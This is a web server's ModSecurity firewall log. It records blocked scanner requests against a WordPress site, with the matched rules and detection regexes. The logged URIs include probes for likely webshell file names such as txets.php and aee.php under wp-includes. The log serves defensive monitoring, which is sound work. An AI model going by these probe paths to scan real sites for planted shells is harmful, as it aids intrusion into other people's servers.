[Tue Mar 31 14:39:34.687306 2026] [:error] [pid 41421:tid 41434] [client 65.108.78.33:52430] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "actsJhSaDjY9kKFtUQATjgAAAQo"]
[Tue Mar 31 14:39:37.082450 2026] [:error] [pid 36890:tid 36914] [client 65.108.78.33:52440] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "actsKZ8FASPd_uH8z7fJZAAAABM"]
[Tue Mar 31 14:39:39.481903 2026] [:error] [pid 36890:tid 36898] [client 65.108.78.33:52446] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "actsK58FASPd_uH8z7fJagAAAAM"]
[Tue Mar 31 14:39:42.072473 2026] [:error] [pid 36982:tid 36990] [client 65.108.78.33:52456] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "actsLvlMmeoQKN0r_GO7BQAAAMU"]
[Tue Mar 31 14:39:44.673168 2026] [:error] [pid 6548:tid 6555] [client 65.108.78.33:55924] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "actsMLgIz9HgMl9YwE5tAwAAAUU"]
[Tue Mar 31 14:39:47.160107 2026] [:error] [pid 36982:tid 37000] [client 65.108.78.33:55928] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "actsM_lMmeoQKN0r_GO7JgAAAM8"]
[Tue Mar 31 16:20:04.899216 2026] [:error] [pid 36892:tid 36955] [client 170.106.180.139:40200] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acuDtEyj9S4G0ek3O4JOiAAAAIQ"]
[Tue Mar 31 18:58:12.222211 2026] [:error] [pid 36892:tid 36970] [client 43.135.182.95:54708] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acuoxEyj9S4G0ek3O4J-5gAAAJM"]
[Tue Mar 31 19:21:07.594852 2026] [:error] [pid 6548:tid 6567] [client 182.40.104.255:34676] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acuuI7gIz9HgMl9YwE4cEAAAAVE"]
[Tue Mar 31 19:44:18.769986 2026] [:error] [pid 41421:tid 41434] [client 45.154.98.125:55636] [client 45.154.98.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "acuzkhSaDjY9kKFtUQCO-AAAAQo"]
[Tue Mar 31 19:44:19.268824 2026] [:error] [pid 36891:tid 36936] [client 45.154.98.125:56346] [client 45.154.98.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "acuzk5JhiMaJUqoqfl7M7gAAAEw"]
[Tue Mar 31 19:44:19.841252 2026] [:error] [pid 36892:tid 36952] [client 45.154.98.125:63455] [client 45.154.98.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "acuzk0yj9S4G0ek3O4KMWgAAAIE"]
[Tue Mar 31 19:44:22.898171 2026] [:error] [pid 6548:tid 6559] [client 45.154.98.125:50729] [client 45.154.98.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "acuzlrgIz9HgMl9YwE4omQAAAUk"]
[Tue Mar 31 22:24:56.120714 2026] [:error] [pid 43292:tid 43319] [client 43.130.34.74:47398] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acvZOCTXGZp4F7tGGAPThgAAAZE"]
[Tue Mar 31 23:25:21.635496 2026] [:error] [pid 36890:tid 36911] [client 152.58.114.17:39008] [client 152.58.114.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.114.17, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acvnYZ8FASPd_uH8z7dyYgAAABA"]
[Wed Apr 01 01:22:16.950966 2026] [:error] [pid 52592:tid 52649] [client 43.166.134.47:52138] [client 43.166.134.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acwCyD-61iqkPKUhqlbQGAAAAAI"]
[Wed Apr 01 02:48:20.591816 2026] [:error] [pid 19113:tid 19116] [client 68.221.68.130:23148] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9PXQdXnDyA4XYbYD0wAAAQE"]
[Wed Apr 01 02:48:21.072785 2026] [:error] [pid 52592:tid 52654] [client 68.221.68.130:23164] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9T-61iqkPKUhqlb8bgAAAAc"]
[Wed Apr 01 02:48:21.554780 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:23045] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9T-61iqkPKUhqlb8bwAAABQ"]
[Wed Apr 01 02:48:21.949586 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:23048] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9fXQdXnDyA4XYbYD1wAAAQg"]
[Wed Apr 01 02:48:22.035416 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:23141] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9vXQdXnDyA4XYbYD2AAAARE"]
[Wed Apr 01 02:48:22.427978 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:23049] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9vXQdXnDyA4XYbYD2gAAAQk"]
[Wed Apr 01 02:48:22.513567 2026] [:error] [pid 52836:tid 52893] [client 68.221.68.130:23106] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW9pjk_YTY8bXnEz5vHAAAAEE"]
[Wed Apr 01 02:48:22.914699 2026] [:error] [pid 19113:tid 19115] [client 68.221.68.130:23054] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9vXQdXnDyA4XYbYD3QAAAQA"]
[Wed Apr 01 02:48:22.993107 2026] [:error] [pid 19113:tid 19121] [client 68.221.68.130:23058] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW9vXQdXnDyA4XYbYD3wAAAQY"]
[Wed Apr 01 02:48:23.393974 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:23134] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acwW9_XQdXnDyA4XYbYD4gAAAQg"]
[Wed Apr 01 02:48:23.471751 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:23107] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW9_XQdXnDyA4XYbYD5AAAARQ"]
[Wed Apr 01 02:48:23.881786 2026] [:error] [pid 52592:tid 52661] [client 68.221.68.130:23126] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW9z-61iqkPKUhqlb8cwAAAA4"]
[Wed Apr 01 02:48:23.952062 2026] [:error] [pid 52593:tid 52686] [client 68.221.68.130:23046] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW9-KOtxqtcDhRtD-hbgAAAIw"]
[Wed Apr 01 02:48:24.361394 2026] [:error] [pid 52836:tid 52915] [client 68.221.68.130:22984] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW-Jjk_YTY8bXnEz5vHgAAAFc"]
[Wed Apr 01 02:48:24.431318 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:23119] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-D-61iqkPKUhqlb8dAAAABM"]
[Wed Apr 01 02:48:24.841491 2026] [:error] [pid 52593:tid 52681] [client 68.221.68.130:23152] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW-OKOtxqtcDhRtD-hbwAAAIc"]
[Wed Apr 01 02:48:24.913165 2026] [:error] [pid 52836:tid 52895] [client 68.221.68.130:23120] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-Jjk_YTY8bXnEz5vIQAAAEM"]
[Wed Apr 01 02:48:25.321596 2026] [:error] [pid 52836:tid 52912] [client 68.221.68.130:23139] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acwW-Zjk_YTY8bXnEz5vJAAAAFQ"]
[Wed Apr 01 02:48:25.393331 2026] [:error] [pid 52592:tid 52649] [client 68.221.68.130:23060] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-T-61iqkPKUhqlb8dwAAAAI"]
[Wed Apr 01 02:48:25.800167 2026] [:error] [pid 52594:tid 52704] [client 68.221.68.130:23159] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-Ue53suVMS91e0RHRQAAAMM"]
[Wed Apr 01 02:48:25.871753 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:23155] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-eKOtxqtcDhRtD-hcwAAAJA"]
[Wed Apr 01 02:48:26.283538 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:23136] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-uKOtxqtcDhRtD-hdQAAAIk"]
[Wed Apr 01 02:48:26.357059 2026] [:error] [pid 52592:tid 52668] [client 68.221.68.130:23070] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW-j-61iqkPKUhqlb8egAAABU"]
[Wed Apr 01 02:48:26.774704 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:23142] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW-ke53suVMS91e0RHSQAAAM8"]
[Wed Apr 01 02:48:26.839181 2026] [:error] [pid 52593:tid 52682] [client 68.221.68.130:23044] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW-uKOtxqtcDhRtD-hdgAAAIg"]
[Wed Apr 01 02:48:27.259707 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:23102] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acwW--KOtxqtcDhRtD-hdwAAAIU"]
[Wed Apr 01 02:48:27.319637 2026] [:error] [pid 52836:tid 52904] [client 68.221.68.130:23111] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW-5jk_YTY8bXnEz5vKAAAAEw"]
[Wed Apr 01 02:48:27.742159 2026] [:error] [pid 52593:tid 52680] [client 68.221.68.130:23099] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW--KOtxqtcDhRtD-heQAAAIY"]
[Wed Apr 01 02:48:27.802189 2026] [:error] [pid 52593:tid 52684] [client 68.221.68.130:23125] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW--KOtxqtcDhRtD-hewAAAIo"]
[Wed Apr 01 02:48:28.223764 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:23149] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW_OKOtxqtcDhRtD-hfQAAAI0"]
[Wed Apr 01 02:48:28.291995 2026] [:error] [pid 19113:tid 19136] [client 68.221.68.130:23040] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_PXQdXnDyA4XYbYD6gAAARU"]
[Wed Apr 01 02:48:28.704161 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:23050] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW_D-61iqkPKUhqlb8ewAAAAM"]
[Wed Apr 01 02:48:28.772817 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:23118] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_D-61iqkPKUhqlb8fAAAAAE"]
[Wed Apr 01 02:48:29.188657 2026] [:error] [pid 52836:tid 52913] [client 68.221.68.130:22976] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "acwW_Zjk_YTY8bXnEz5vKgAAAFU"]
[Wed Apr 01 02:48:29.256565 2026] [:error] [pid 52836:tid 52901] [client 68.221.68.130:23130] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_Zjk_YTY8bXnEz5vKwAAAEk"]
[Wed Apr 01 02:48:29.672819 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:23096] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_Zjk_YTY8bXnEz5vLgAAAEo"]
[Wed Apr 01 02:48:29.734499 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:23051] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_eKOtxqtcDhRtD-hhAAAAJU"]
[Wed Apr 01 02:48:30.153389 2026] [:error] [pid 52836:tid 52914] [client 68.221.68.130:23109] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "acwW_pjk_YTY8bXnEz5vMAAAAFY"]
